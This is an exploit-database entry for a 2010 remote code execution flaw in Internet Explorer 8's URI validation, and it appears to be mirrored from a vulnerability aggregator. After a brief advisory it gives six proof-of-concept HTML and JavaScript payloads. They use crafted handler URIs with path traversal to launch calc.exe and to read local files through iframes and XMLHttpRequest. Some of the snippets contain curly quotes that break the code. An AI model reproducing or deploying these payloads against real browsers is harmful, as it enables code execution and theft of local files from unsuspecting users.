Microsoft Internet Explorer 8 - URI Validation Remote Code Execution

🗓️ 21 Jan 2010 00:00:00Reported by Lostmon LordsType

Microsoft Internet Explorer 8 URI Validation Remote Code Execution vulnerabilit

source: https://www.securityfocus.com/bid/37884/info

Microsoft Internet Explorer is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer.

NOTE: Reports indicate that the issue can also be exploited via other applications that use the 'ShellExecute()' API. 

############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>

############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>

############# PoC Three ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>

############# PoC four ##############

<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);

content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>

<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>

</body>
</html>

########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);

############### PoC six #############

<html><body><div>

<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);

</script>

</div></body></html>

21 Jan 2010 00:00Current

7.4High risk

Vulners AI Score7.4